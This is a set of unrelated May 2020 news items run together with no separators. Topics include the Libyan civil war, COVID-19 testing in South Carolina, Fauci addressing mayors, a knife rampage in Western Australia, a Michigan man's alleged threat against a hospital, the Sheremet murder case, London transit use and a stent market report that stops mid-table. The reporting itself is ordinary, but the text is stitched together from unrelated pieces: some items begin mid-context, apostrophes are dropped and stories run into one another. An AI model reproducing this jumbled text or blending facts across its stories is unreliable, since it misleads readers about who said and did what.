The oil-rich country has been embroiled in conflict since the ousting of dictator Moammar Gadhafi in 2011, with rival administrations now controlling opposite ends of the country. In April 2019, the Libyan National Army launched a campaign to take Tripoli from the Government of National Accord.

In recent weeks, the opposition army has suffered a series of setbacks at the hands of pro-Government of National Accord forces, including the loss of two towns and a key air base.

On Thursday night, Libyans took to the streets of downtown Tripoli to watch as forces loyal to the Government of National Accord paraded a Russian-made missile defense system they recently captured from Hifters army at the al-Watiya airfield.

The foreign ministers of Turkey, which backs the Government of National Accord, and Russia, which supports Hifter, called for a nationwide cease-fire and for the players to return to the UN-led peace process.

This week, the UNs acting Libya envoy warned the conflict will escalate as massive amounts of weaponry, equipment and fighters continue pouring into the country.

The only conclusion that we can draw is that this war will intensify, broaden and deepen, Stephanie Williams told the UN Security Council.
The number of weekly coronavirus cases is projected to hold steady in South Carolina, even as the number of tests completed each week significantly ramps up.

Because testing has become more widespread, the state health department is able to better gauge the prevalence of COVID-19 in South Carolina.

"That's great news," said Dr. Ed O'Bryan, executive director of MUSC Health Solutions.

It's more encouraging, he explained, for 1 percent of 2,000 people to test positive, than it would be for 10 percent of 200 people to test positive, even though the number of positive tests diagnosed in each scenario is the same.

"Were looking at that percent positive," O'Bryan said.

In mid-April, the percentage of positive tests, among all tests conducted in the state, averaged above 10 percent. In early May, it averaged above 5 percent. This week, it is trending below 4 percent.

"When the percent positive is high, it may indicate that there isn't enough testing being performed to capture how much disease is in the community and testing may be focused on people who are more severely ill," according to the S.C. Department of Health and Environmental Control. "When the percent positive is low, it may indicate that more widespread testing is being performed and the percent positive may more accurately reflect how much disease is present in the community."

For the week of May 17-23, DHEC anticipates 1,050 positive cases will be newly reported across the state. Next week, the total is projected to be 1,024 cases, and the following week, the total should be an estimated 1,000 positive cases.

By June 6, DHEC projects that the total number of cases reported in South Carolina this year will top 11,800. By comparison, DHEC reports there have been 6,711 lab-confirmed tests of the flu this season.

Flu activity across the state has dropped significantly since February. COVID-19 cases appear to have flattened, but the accuracy of the disease curve is harder to assess with coronavirus because testing during the disease's early days was largely sporadic and slow.

O'Bryan estimates that MUSC is testing 2,000 people a week, and expects that number to grow starting next week as testing capacity increases.

As businesses and public spaces across the state start reopening, O'Bryan said he considered the next three weeks critical. If people continue following social distancing guidelines, the disease curve will continue to flatten, he said. If not, the disease could spike again.

"The businesses need to take it really seriously," he said.
Reading, PA (19601)

Today

Cloudy with morning snow ending, then windy and turning colder with falling temps and some afternoon clearing. A coating to 1-2" of snow expected in the morning. .

Tonight

Partly cloudy, windy, and very cold. Wind chills near or below zero later at night.
National Conference of State Legislatures Launches Database Tracking COVID-19 Bills

Code for Philly Looks to Fill Open Leadership Positions

Code for America Hires Will Pfeffer as Senior Program Manager for its Brigade Network

Dr. Anthony Fauci  the director of the National Institute of Allergy and Infectious Diseases, as well as one of the most visible scientific experts on Americas governmental response to COVID-19  spoke to a digital meeting of mayors from across the globe Thursday.Fauci did so as the latest expert to participate in a weekly Zoom meeting convened by the Bloomberg Harvard City Leadership Initiative. The idea behind the meetings, as former New York City Mayor Michael Bloomberg pointed out during an introduction to the session, is to help fill in information gaps, doing so by including experts on science and governance. This was the 10th such meeting of the cohort, with past sessions involving a range of guest speakers, including former Presidents Clinton, George W. Bush, and Obama.Bloomberg went on to say in his remarks that the biggest question facing mayors right now was how best to reopen safely, and that was, in large part, the topic that Fauci addressed.Fauci emphasized to the mayors that reopening would mean data indicating increases in infections, or as he called them, "blips," and that that was part of the process.Invariably there will be blips of infections that you did not see before, he said. It is almost unreasonable to think thats not going to happen. The critical issue is to respond to these blips with effective identification, isolation of cases, and contact tracing.Essentially, the key for government, Fauci added, was to work to ensure they were prepared for these blips. That means expecting the blips, not getting discouraged by them, and  most importantly  putting in place a testing program complete with the staff to ID infections, isolate infections and engage in contact tracing.Fauci said too that there currently some reasons to be encouraged that a COVID-19 vaccine will become a reality, potentially by December or January.The end game for us is if we do get an effective and safe vaccine, Fauci said. That would, at the end of the day, ultimately get us back to normal and leave us with a lesson on the kind of preparedness were going to need for future outbreaks, which inevitably will come.One thing that local government in particular can do is use leadership positions to marshal volunteers and ensure that communities have the staff it takes to respond to the all-but-inevitable increase in infections that reopening brings. A workforce is needed, and assembling that workforce is best accomplished at the local level, with cross-government as a safety net across the board, especially with financial challenges.When you do need help at the state and federal level, Fauci said, dont be shy in asking for it, because it is owed to you.The National Conference of State Legislatures released a new database tracking legislation related to COVID-19, and it includes more than 1,300 bills introduced in 42 state legislatures and the District of Columbia.In a press release unveiling the database this week, the group also noted that more than 240 of these bills have been enacted or adopted since the pandemic erupted earlier this year. The idea behind the database  dubbed the COVID-19 State Legislation Database  is to capture real-time information about this type of crisis response lawmaking.As the group also noted in its press release, topics in the database include budgeting and revenue, child welfare, commerce, criminal justice, education, elections, employment, finance, health access and coverage, housing and homelessness, labor and retirement, legislative operations, public health, workforce and more.The Philadelphia-based civic technology group Code for Philly is currently looking to fill open leadership positions.More information can be found on this page , but there are three open roles in total. Those roles are communications lead, events co-lead, and projects co-lead. As the group notes on the page, applicants do not need to be regular participants in Code for Philly, nor do they need to know how to code.Instead, the posting reads, you should have a demonstrable interest in improving civic outcomes and at least some interest in technology. You should be able to think creatively about civic and strategic issues.Applications for these roles can be submitted via this form Code for America has hired Will Pfeffer as one of its senior program managers for its Brigade Network of volunteer civic tech groups across the country.Pfeffer was formerly of the Boston Area Research Initiative. Code for America also recently welcomed Amanda Renteria as its new executive director, and one of the areas that Renteria stressed during a recent conversation with Government Technology was the importance of the Brigade Network.The COVID-19 crisis has also spurred an uptick in need for more volunteer technologists to put their skills toward projects that benefit communities.
A security guard who charged at a FIFO worker on a stabbing rampage has spoken out for the first time.

MCS security guard Clifford Hagart tried to restrain the knife-wielding Ashley Fildes, 34, as he attacked a policewoman at the South Hedland shopping centre in Western Australia on May 1.

The FIFO worker stabbed five people inside the local shopping centre as well as a man at a nearby motel and another in a car at a McDonald's car park before being shot dead by police.

CCTV footage shows Mr Hagart bravely running head on at Fildes and grabbing his shoulder, trying to bring the attacker down.

But Fildes pushed out his left arm, knocking Mr Hagart to the ground.

MCS Security guard Clifford Hagart (left, running) tried to restrain the knife-wielding Ashley Fildes (right, in high-vis), 34, as he attacked a policewoman (centre) at the South Hedland shopping centre in Western Australia on May 1

Mr Hagart said he realised the incident was serious when he saw Fildes trying to stab a female police officer, prompting him to try and stop the attacker.

'Then I saw the knife, I realised it was something more serious this time,' Mr Hagart told The West Australian.

'I thought I saw him stab the female police officer  luckily he missed  but it was at that point I knew I had to try and restrain him.'

After Fildes knocked Mr Hagart down, the security guard heard gunshots, which is when WA police officers fatally shot Fildes.

WA Premier Mark McGowan and WA Police commissioner Chris Dawson have both commended Mr Hagart for his bravery.

Despite the widespread praise, Mr Hagart said stopping Fildes was a 'community effort' and that more people should be recognised.

Despite the widespread praise, Mr Hagart (pictured) said stopping Fildes was a 'community effort' and that more people should be recognised

Ashley Fildes (pictured), 34, was gunned down by police after stabbing seven shoppers at South Hedland shopping centre in Western Australia on May 1

Another hero from the stabbing was truck driver Konrad Frost, 39, whose throat was slit by Fildes during the attack.

Mr Frost said he vividly remembered Fildes approaching Kimberley Abbott and her 14-month-old daughter moments after being stabbed in the neck while shopping.

In a desperate attempt to save the young mother's life, Mr Frost yelled at the knifeman in the hopes of distracting him from the other shoppers.

'I remember him swinging at me again but he missed, and that's when I just started yelling at him,' Mr Frost told 9News.

'Yeah, she was the hero...she protected her, even while she was being attacked.'

Mr Frost was the worst injured with a slash to his neck and was flown to Royal Perth Hospital for emergency surgery where he was placed in a coma.

The injury was so deep that it has taken him more than two weeks to start talking and eating again.

Konrad Frost (pictured), 39, is being praised as a hero for distracting knifeman Ashley Fildes, 34, who embarked on a terrifying rampage at South Hedland in Western Australia

Fildes had been in an altercation with his boss just hours before the violent rampage, according to a distraught relative who did not want to be named.

He had been suffering from a 'deep depression', his marriage had fallen apart and the AAA Asphalt worker had an altercation with his supervisor on the morning of the attack.

Following the dispute, a colleague drove Fildes from the work site and dropped him at the Lodge Motel where he had been staying. It was there the father-of-one grabbed the long knife and began his violent attack.

He chased motel staff and other guests with the knife before stabbing his first victim.

He then moved to the McDonald's car park at the shopping centre where he stabbed a man in a car, before continuing through the mall to Kmart.

Dramatic footage showed Fildes, who was dressed in hi-vis workwear, pacing through the centre brandishing the large kitchen knife.

The attack ended when Fildes was shot dead by police, which the police union described as a 'textbook' shooting.

Major crime detectives are investigating whether Fildes experienced a psychotic episode.

Fildes' parents said they did not hold any grudges against the police who shot him dead.

In a desperate attempt to save the young mother's live Mr Frost yelled at the knifeman in the hopes of distracting him from the other shoppers

David Derschow (pictured, right) said his girlfriend Esther Brooks (left) were stabbed by the knifeman on Friday morning at a Western Australian shopping centre

Fildes, who is the father of a young girl, was on his first week of a new FIFO swing.

His marriage had broken down in recent years and he suffered from depression.

A relative told The West Australian Fildes was a 'beautiful, beautiful soul' and the violent rampage was out-of-character.

'He's just not that kind of person. He's just mellow and lovely. I know he had a lot of trauma in his life. The last few years have been really tough for him, but he's not a violent person,' she said.

'There is just no way on this earth that Ashley could do something like this. He doesn't hurt people  he helps people.

'He was deeply depressed but never ever in my wildest dreams would I ever think he would hurt another human being.'
BAY CITY, MI  Days after he was freed on bond on state criminal charges, an Omer man is accused of threatening to steal a U.S. Coast Guard helicopter as a plan to attack a hospital and release those receiving treatment for coronavirus.

The U.S. Coast Guard Investigative Unit (CGIS) on Wednesday, May 20, arrested Jesse T. McFadden, 70, at his home. The next afternoon, he had his initial appearance via Zoom before by U.S. District Magistrate Judge Elizabeth A. Stafford.

McFadden is charged with one count of felon in possession of a firearm, a 10-year felony.

According to an affidavit authored by a CGIS special agent, McFadden at about 8 a.m. on Sunday, May 17, called Arenac County Central Dispatch. McFadden told a dispatcher he was heading to the U.S. Coast Guard Station Saginaw River at 2405 Weadock Highway in Essexville to steal a helicopter to further his plan to attack a police station and shoot up a local hospital, the agent wrote. McFadden told the dispatcher that he wanted to disrupt the power to the hospital, unlock the doors, and release patients under COVID-19 quarantine.

Jesse T. McFadden

McFadden also told the dispatcher he was armed with a machine gun, the agent wrote in his affidavit. Dispatchers notified Coast Guard personnel and area police agencies, while also providing McFaddens criminal history of brandishing weapons and resisting police, the affidavit states.

Around 10:30 a.m., personnel at the Coast Guards Essexville station called Bay County Central Dispatch to report McFadden had arrived and was trying to gain entry through the gate using a keypad. Unable to get inside, he called the station communications center and demanded access, the affidavit states.

When personnel denied McFaddens request, he threatened to ram the gate open with his black Ford Explorer.

Around 10:39 p.m., McFadden drove away from the station. Police searched the area, eventually spotting McFaddens truck at the Speedway gas station at 1504 Center Ave. in Hampton Township. The parked truck was unoccupied, though its engine was still running and its drivers side door was open.

Michigan State Police troopers, Bay County Sheriffs deputies, and Hampton Township and Essexville public safety officers converged in the Speedway parking lot. A few moments later, McFadden exited the store and was stopped by a trooper, who engaged in him in conversation, Hampton Township Public Safety Lt. Michael Wedding previously told MLive.

A .12-gauge Mossberg shotgun police say they recovered from the passenger seat of Jesse T. McFadden's vehicle on May 17, 2020.

As the two spoke, Wedding sneaked around to the passenger side of McFaddens Ford, opened that door, and turned off the ignition. In the passenger seat beneath a black leather jacket was a .12-gauge Mossberg shotgun, the barrel pointed toward the floorboard and the stock upright, Wedding has said.

Once McFadden saw Wedding had the gun, he slapped the forearm of the trooper he was talking with and pushed him away. An Essexville officer then pulled his Taser and deployed it, though one of the barbs struck a button and rendered the jolt ineffective.

McFadden then swung at the officer before several more took him to the ground and managed to get him in handcuffs and arrest him.

Police found no other weapons on McFadden or in the vehicle. They did find some prescription medication and marijuana, Wedding has said.

The shotgun had been loaded with five shells. McFadden told police he had the gun for skeet shooting, Wedding has said.

The CGSI special agents affidavit states McFadden in June 2011 was convicted of fourth-degree fleeing and eluding police in Michigans 23rd Circuit Court, which oversees Alcona, Arenac, Iosco, and Oscoda counties. The charge is a two-year felony.

McFadden on Monday, May 18, was arraigned in Bay County District Court on three counts of assaulting, resisting, or obstructing police and one count of transporting a loaded firearm in a motor vehicle. Both charges are two-year felonies.

Arraigning Chief District Judge Dawn A. Klida freed McFadden on a personal recognizance bond and scheduled his case for a settlement conference on May 29.

In his federal case, McFadden is to appear for a detention hearing before U.S. District Magistrate Judge Patricia T. Morris on May 26. He is to be detained until then.

Saginaw attorney Alan A. Crawford has filed an appearance on McFaddens behalf on the federal case. Contacted by MLive, Crawford declined to comment on the matter.

Related:

Omer man threatened to shoot up hospital, ram Coast Guard gate to steal helicopter, police say
El presidente @MartinVizcarraC informa sobre la situacion del Estado de Emergencia en el #Dia68 y las acciones que realiza el Gobierno para contener la propagacion del COVID-19. En vivo: https://t.co/E7iJYdEHwR https://t.co/TXSaUDKS3A
As of today, May 22, the pre-trial investigation against the alleged perpetrators of the murder of journalist Pavlo Sheremet is over. Ukrainska Pravda reported that, referring to the comment of the lawyer of the suspect, Yulia Kuzmenko.

"Now they are reporting the completion of the pre-trial investigation. Today a decision has been made. The materials regarding Kuzmenko, Antonenko and Dugar (the three suspects, - 112 International) have been put into new production and immediately announced the completion of the pre-trial investigation," lawyer said.

Note that there are three suspects in the case: musician Andriy Antonenko, doctor Yulia Kuzmenko and military nurse Yana Dugar.

As of 16:15, Kuzmenko's lawyer went to the temporary detention center to the client, where he should be given the relevant documents. He promised to provide details regarding the completion of the investigation later. The lawyer of another suspect, Yana Dugar, also confirmed that they should be informed of the completion of the investigation in the near future.

In addition, a hearing on the preventive measure for Kuzmenko did not take place on May 22. The defense requested that the arrest be canceled, but the court was postponed until May 27. The reason - the prosecutors did not appear, did not deliver the suspect, did not provide contact with her.

As we reported before, the pretrial investigation of the murder of journalist Pavlo Sheremet is extended for another two months, up to June 12, 2020. The Prosecutor Generals Office of Ukraine made such a decision on the request of the police investigators.
T ravel on the London Underground network is up 20 to 26 per cent compared to last week, the Prime Ministers spokesman has said.

During Downing Streets daily briefing to journalists, it was revealed that Tube travel was up while Network Rail also reported a slight increase footfall in London as coronavirus restrictions are gradually eased.

The Prime Ministers official spokesman said Tube travel is up around 20 to 26 per cent compared to last week but he said that it was still about 91 to 93 per cent lower than the levels this time last year.

He also said bus usage outside London was 80 to 86 per cent lower than would be expected this time of year and rail use nationally was 95 per cent lower this week compared to the same time last year.

He said Network Rail reported slight increases in footfall at stations they manage in London, but he added: Overall numbers on the domestic network remain what they describe as fairly low.

Londoners heeding Boris Johnson's call to return to work - In pictures 1 /12 Londoners heeding Boris Johnson's call to return to work - In pictures Pedestrians and cyclists make their way across London Bridge Daniel Hambury Traffic building up on the A13 in Dagenham Jeremy Selwyn Pedestrians pass heavy traffic passing over Tower Bridge PA Construction workers at Borough Yards Daniel Hambury Pedestrians and cyclists make the way across London Bridge Daniel Hambury Bumper to bumper traffic on an approach road to Tower Bridge PA Nigel Howard Nigel Howard Traffic on the M25 motorway near Egham, Surrey PA

Asked about photographs of people failing to socially distance in parks and on beaches, he replied: All of the anecdotal evidence suggest the vast majority of the public are still following the rules and by doing so are helping to save lives and we thank them for that.

We recognise the sacrifices which the public are making but as we head into the long weekend we must all renew our efforts and continue to abide by social distancing rules.
Police arrest stolen vehicle suspect who fled, entered occupied home

The homeowner was able to get out of the home safely, but Aberdeen police are now negotiating the surrender of the suspect.
driven by a compounded growth of 5. 3%. Polymer-Free, one of the segments analyzed and sized in this study, displays the potential to grow at over 5. 6%. The shifting dynamics supporting this growth makes it critical for businesses in this space to keep abreast of the changing pulse of the market.

New York, May 22, 2020 (GLOBE NEWSWIRE) -- Reportlinker.com announces the release of the report "Global Drug-Eluting Stents Industry" - https://www.reportlinker.com/p05443570/?utm_source=GNW

Poised to reach over US$5.3 Billion by the year 2025, Polymer-Free will bring in healthy gains adding significant momentum to global growth.



- Representing the developed world, the United States will maintain a 4.1% growth momentum. Within Europe, which continues to remain an important element in the world economy, Germany will add over US$82.2 Million to the regions size and clout in the next 5 to 6 years. Over US$67.4 Million worth of projected demand in the region will come from Rest of Europe markets. In Japan, Polymer-Free will reach a market size of US$286.2 Million by the close of the analysis period. As the worlds second largest economy and the new game changer in global markets, China exhibits the potential to grow at 8.5% over the next couple of years and add approximately US$705.1 Million in terms of addressable opportunity for the picking by aspiring businesses and their astute leaders. Presented in visually rich graphics are these and many more need-to-know quantitative data important in ensuring quality of strategy decisions, be it entry into new markets or allocation of resources within a portfolio. Several macroeconomic factors and internal market forces will shape growth and development of demand patterns in emerging countries in Asia-Pacific, Latin America and the Middle East. All research viewpoints presented are based on validated engagements from influencers in the market, whose opinions supersede all other research methodologies.





Read the full report: https://www.reportlinker.com/p05443570/?utm_source=GNW



DRUG-ELUTING STENTS MCP-1

MARKET ANALYSIS, TRENDS, AND FORECASTS, MAY 2

CONTENTS



I. INTRODUCTION, METHODOLOGY & REPORT SCOPE





II. EXECUTIVE SUMMARY



1. MARKET OVERVIEW

Coronary Stents Market - A Prelude Recent Market Activity Competitive Scenario J&J Exit from DES Market Improves Prospects for Competitors Evolution of the Drug-Eluting Stent Evolution of Drug-Eluting Stents (DES) Over the Years Comparative Analysis of Drug-Eluting Stents in Terms of Physical Parameters Bioabsorbable Stents New Stents with Biodegradable Polymers Completely Bioresorbable Scaffolds: Potential Game-Changer Noteworthy Clinical Studies and Innovations Study Proves Efficacy of Very Thin Strut DES On Par with Durable Polymer Stents Drug-Eluting Stents and Drug-Coated Balloons for Non-Coronary Indications DES for Large Sized Arteries Addressing the Unmet Challenges in Patients with Diabetes Biosensors Commercializes BMX-J DES System SLENDER DES Set to Downsize the Future of Interventional Cardiology Other Novel DES Launches Researchers at University of Strathclyde Evaluate VAN 10-

Small Molecule DES Safe for Vein Grafts Procedures Global Competitor Market Shares Drug-Eluting Stents Competitor Market Share Scenario Worldwide (in %): 2018 & 2029 Impact of Covid-19 and a Looming Global Recession

2. FOCUS ON SELECT PLAYERS

Abbott Laboratories (US) AlviMedica (Turkey) Arterius Limited (UK) B. Braun Melsungen AG (Germany) Biosensors International Group, Ltd. (Singapore) Shandong JW Medical Systems LTD. (China) Biotronik SE & Co. KG (Germany) Boston Scientific Corporation (US) Cook Medical Inc. (US) Elixir Medical Corp. (US) KYOTO MEDICAL PLANNING Co., Ltd. (Japan) Lepu Medical Technology (Beijing) Co., Ltd. (China) Medtronic plc (Republic of Ireland) Micell Technologies, Inc. (US) Opto Circuits (India) Ltd (India) Eurocor GmbH (Germany) OrbusNeich Medical Company Limited (Hong Kong) QualiMed (Germany) Shanghai MicroPort Medical (Group) Co., Ltd. (China) Sino Medical Sciences Technology Inc. (China) STENTYS SA (France) Terumo Corporation (Japan)

3. MARKET TRENDS & DRIVERS

Key Market Drivers & Restraints Aging - A Key Market Driver Global Aging Population Demographic Statistics: Key Opportunity Indicator High Diabetes Incidence Worldwide Drives Demand for Cardiac Surgery and Stents

4. GLOBAL MARKET PERSPECTIVE

Table 1: Drug-Eluting Stents Global Market Estimates and Forecasts in US$ Million by Region/Country: 2020-2027 Table 2: Drug-Eluting Stents Global Retrospective Market Scenario in US$ Million by Region/Country: 2012-2019 Table 3: Drug-Eluting Stents Market Share Shift across Key Geographies Worldwide: 2012 VS 2020 VS 2027 Table 4: Polymer-Free (Coating) World Market by Region/Country in US$ Million: 2020 to 2027 Table 5: Polymer-Free (Coating) Historic Market Analysis by Region/Country in US$ Million: 2012 to 2019 Table 6: Polymer-Free (Coating) Market Share Breakdown of Worldwide Sales by Region/Country: 2012 VS 2020 VS 2027 Table 7: Polymer-based (Coating) Potential Growth Markets Worldwide in US$ Million: 2020 to 2027 Table 8: Polymer-based (Coating) Historic Market Perspective by Region/Country in US$ Million: 2012 to 2019 Table 9: Polymer-based (Coating) Market Sales Breakdown by Region/Country in Percentage: 2012 VS 2020 VS 2027 Table 10: Coronary Artery Disease (Application) Global Market Estimates & Forecasts in US$ Million by Region/Country: 2020-2027 Table 11: Coronary Artery Disease (Application) Retrospective Demand Analysis in US$ Million by Region/Country: 2012-2019 Table 12: Coronary Artery Disease (Application) Market Share Breakdown by Region/Country: 2012 VS 2020 VS 2027 Table 13: Peripheral Artery Disease (Application) Demand Potential Worldwide in US$ Million by Region/Country: 2020-2027 Table 14: Peripheral Artery Disease (Application) Historic Sales Analysis in US$ Million by Region/Country: 2012-2019 Table 15: Peripheral Artery Disease (Application) Share Breakdown Review by Region/Country: 2012 VS 2020 VS 2027 Table 16: Cardiology Centers (End-Use) Worldwide Latent Demand Forecasts in US$ Million by Region/Country: 2020-2027 Table 17: Cardiology Centers (End-Use) Global Historic Analysis in US$ Million by Region/Country: 2012-2019 Table 18: Cardiology Centers (End-Use) Distribution of Global Sales by Region/Country: 2012 VS 2020 VS 2027 Table 19: Ambulatory Surgical Centers (End-Use) Sales Estimates and Forecasts in US$ Million by Region/Country for the Years 2020 through 2027 Table 20: Ambulatory Surgical Centers (End-Use) Analysis of Historic Sales in US$ Million by Region/Country for the Years 2012 to 2019 Table 21: Ambulatory Surgical Centers (End-Use) Global Market Share Distribution by Region/Country for 2012, 2020, and 2027 Table 22: Hospitals (End-Use) Global Opportunity Assessment in US$ Million by Region/Country: 2020-2027 Table 23: Hospitals (End-Use) Historic Sales Analysis in US$ Million by Region/Country: 2012-2019 Table 24: Hospitals (End-Use) Percentage Share Breakdown of Global Sales by Region/Country: 2012 VS 2020 VS 2027

III. MARKET ANALYSIS

GEOGRAPHIC MARKET ANALYSIS UNITED STATES Market Facts & Figures US Drug-Eluting Stents Market Share (in %) by Company: 2018 & 2025 Market Analytics Table 25: United States Drug-Eluting Stents Market Estimates and Projections in US$ Million by Coating: 2020 to 2027 Table 26: Drug-Eluting Stents Market in the United States by Coating: A Historic Review in US$ Million for 2012-2019 Table 27: United States Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 28: United States Drug-Eluting Stents Latent Demand Forecasts in US$ Million by Application: 2020 to 2027 Table 29: Drug-Eluting Stents Historic Demand Patterns in the United States by Application in US$ Million for 2012-2019 Table 30: Drug-Eluting Stents Market Share Breakdown in the United States by Application: 2012 VS 2020 VS 2027 Table 31: United States Drug-Eluting Stents Latent Demand Forecasts in US$ Million by End-Use: 2020 to 2027 Table 32: Drug-Eluting Stents Historic Demand Patterns in the United States by End-Use in US$ Million for 2012-2019 Table 33: Drug-Eluting Stents Market Share Breakdown in the United States by End-Use: 2012 VS 2020 VS 2027 CANADA Table 34: Canadian Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020 to 2027 Table 35: Canadian Drug-Eluting Stents Historic Market Review by Coating in US$ Million: 2012-2019 Table 36: Drug-Eluting Stents Market in Canada: Percentage Share Breakdown of Sales by Coating for 2012, 2020, and 2027 Table 37: Canadian Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by Application: 2020 to 2027 Table 38: Drug-Eluting Stents Market in Canada: Summarization of Historic Demand Patterns in US$ Million by Application for 2012-2019 Table 39: Canadian Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 40: Canadian Drug-Eluting Stents Market Quantitative Demand Analysis in US$ Million by End-Use: 2020 to 2027 Table 41: Drug-Eluting Stents Market in Canada: Summarization of Historic Demand Patterns in US$ Million by End-Use for 2012-2019 Table 42: Canadian Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 JAPAN Table 43: Japanese Market for Drug-Eluting Stents: Annual Sales Estimates and Projections in US$ Million by Coating for the Period 2020-2027 Table 44: Drug-Eluting Stents Market in Japan: Historic Sales Analysis in US$ Million by Coating for the Period 2012-2019 Table 45: Japanese Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 46: Japanese Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 47: Japanese Drug-Eluting Stents Market in US$ Million by Application: 2012-2019 Table 48: Drug-Eluting Stents Market Share Shift in Japan by Application: 2012 VS 2020 VS 2027 Table 49: Japanese Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 50: Japanese Drug-Eluting Stents Market in US$ Million by End-Use: 2012-2019 Table 51: Drug-Eluting Stents Market Share Shift in Japan by End-Use: 2012 VS 2020 VS 2027 CHINA Table 52: Chinese Drug-Eluting Stents Market Growth Prospects in US$ Million by Coating for the Period 2020-2027 Table 53: Drug-Eluting Stents Historic Market Analysis in China in US$ Million by Coating: 2012-2019 Table 54: Chinese Drug-Eluting Stents Market by Coating: Percentage Breakdown of Sales for 2012, 2020, and 2027 Table 55: Chinese Demand for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 56: Drug-Eluting Stents Market Review in China in US$ Million by Application: 2012-2019 Table 57: Chinese Drug-Eluting Stents Market Share Breakdown by Application: 2012 VS 2020 VS 2027 Table 58: Chinese Demand for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 59: Drug-Eluting Stents Market Review in China in US$ Million by End-Use: 2012-2019 Table 60: Chinese Drug-Eluting Stents Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 EUROPE Market Facts & Figures European Drug-Eluting Stents Market: Competitor Market Share Scenario (in %) for 2018 & 2025 Market Analytics Table 61: European Drug-Eluting Stents Market Demand Scenario in US$ Million by Region/Country: 2020-2027 Table 62: Drug-Eluting Stents Market in Europe: A Historic Market Perspective in US$ Million by Region/Country for the Period 2012-2019 Table 63: European Drug-Eluting Stents Market Share Shift by Region/Country: 2012 VS 2020 VS 2027 Table 64: European Drug-Eluting Stents Market Estimates and Forecasts in US$ Million by Coating: 2020-2027 Table 65: Drug-Eluting Stents Market in Europe in US$ Million by Coating: A Historic Review for the Period 2012-2019 Table 66: European Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 67: European Drug-Eluting Stents Addressable Market Opportunity in US$ Million by Application: 2020-2027 Table 68: Drug-Eluting Stents Market in Europe: Summarization of Historic Demand in US$ Million by Application for the Period 2012-2019 Table 69: European Drug-Eluting Stents Market Share Analysis by Application: 2012 VS 2020 VS 2027 Table 70: European Drug-Eluting Stents Addressable Market Opportunity in US$ Million by End-Use: 2020-2027 Table 71: Drug-Eluting Stents Market in Europe: Summarization of Historic Demand in US$ Million by End-Use for the Period 2012-2019 Table 72: European Drug-Eluting Stents Market Share Analysis by End-Use: 2012 VS 2020 VS 2027 FRANCE Table 73: Drug-Eluting Stents Market in France by Coating: Estimates and Projections in US$ Million for the Period 2020-2027 Table 74: French Drug-Eluting Stents Historic Market Scenario in US$ Million by Coating: 2012-2019 Table 75: French Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 76: Drug-Eluting Stents Quantitative Demand Analysis in France in US$ Million by Application: 2020-2027 Table 77: French Drug-Eluting Stents Historic Market Review in US$ Million by Application: 2012-2019 Table 78: French Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by Application for 2012, 2020, and 2027 Table 79: Drug-Eluting Stents Quantitative Demand Analysis in France in US$ Million by End-Use: 2020-2027 Table 80: French Drug-Eluting Stents Historic Market Review in US$ Million by End-Use: 2012-2019 Table 81: French Drug-Eluting Stents Market Share Analysis: A 17-Year Perspective by End-Use for 2012, 2020, and 2027 GERMANY Table 82: Drug-Eluting Stents Market in Germany: Recent Past, Current and Future Analysis in US$ Million by Coating for the Period 2020-2027 Table 83: German Drug-Eluting Stents Historic Market Analysis in US$ Million by Coating: 2012-2019 Table 84: German Drug-Eluting Stents Market Share Breakdown by Coating: 2012 VS 2020 VS 2027 Table 85: Drug-Eluting Stents Market in Germany: Annual Sales Estimates and Forecasts in US$ Million by Application for the Period 2020-2027 Table 86: German Drug-Eluting Stents Market in Retrospect in US$ Million by Application: 2012-2019 Table 87: Drug-Eluting Stents Market Share Distribution in Germany by Application: 2012 VS 2020 VS 2027 Table 88: Drug-Eluting Stents Market in Germany: Annual Sales Estimates and Forecasts in US$ Million by End-Use for the Period 2020-2027 Table 89: German Drug-Eluting Stents Market in Retrospect in US$ Million by End-Use: 2012-2019 Table 90: Drug-Eluting Stents Market Share Distribution in Germany by End-Use: 2012 VS 2020 VS 2027 ITALY Table 91: Italian Drug-Eluting Stents Market Growth Prospects in US$ Million by Coating for the Period 2020-2027 Table 92: Drug-Eluting Stents Historic Market Analysis in Italy in US$ Million by Coating: 2012-2019 Table 93: Italian Drug-Eluting Stents Market by Coating: Percentage Breakdown of Sales for 2012, 2020, and 2027 Table 94: Italian Demand for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 95: Drug-Eluting Stents Market Review in Italy in US$ Million by Application: 2012-2019 Table 96: Italian Drug-Eluting Stents Market Share Breakdown by Application: 2012 VS 2020 VS 2027 Table 97: Italian Demand for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 98: Drug-Eluting Stents Market Review in Italy in US$ Million by End-Use: 2012-2019 Table 99: Italian Drug-Eluting Stents Market Share Breakdown by End-Use: 2012 VS 2020 VS 2027 UNITED KINGDOM Table 100: United Kingdom Market for Drug-Eluting Stents: Annual Sales Estimates and Projections in US$ Million by Coating for the Period 2020-2027 Table 101: Drug-Eluting Stents Market in the United Kingdom: Historic Sales Analysis in US$ Million by Coating for the Period 2012-2019 Table 102: United Kingdom Drug-Eluting Stents Market Share Analysis by Coating: 2012 VS 2020 VS 2027 Table 103: United Kingdom Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by Application: 2020 to 2027 Table 104: United Kingdom Drug-Eluting Stents Market in US$ Million by Application: 2012-2019 Table 105: Drug-Eluting Stents Market Share Shift in the United Kingdom by Application: 2012 VS 2020 VS 2027 Table 106: United Kingdom Demand Estimates and Forecasts for Drug-Eluting Stents in US$ Million by End-Use: 2020 to 2027 Table 107: United Kingdom Drug-Eluting Stents Market in US$ Million by End-Use: 2012-2019 Table 108: Drug-Eluting Stents 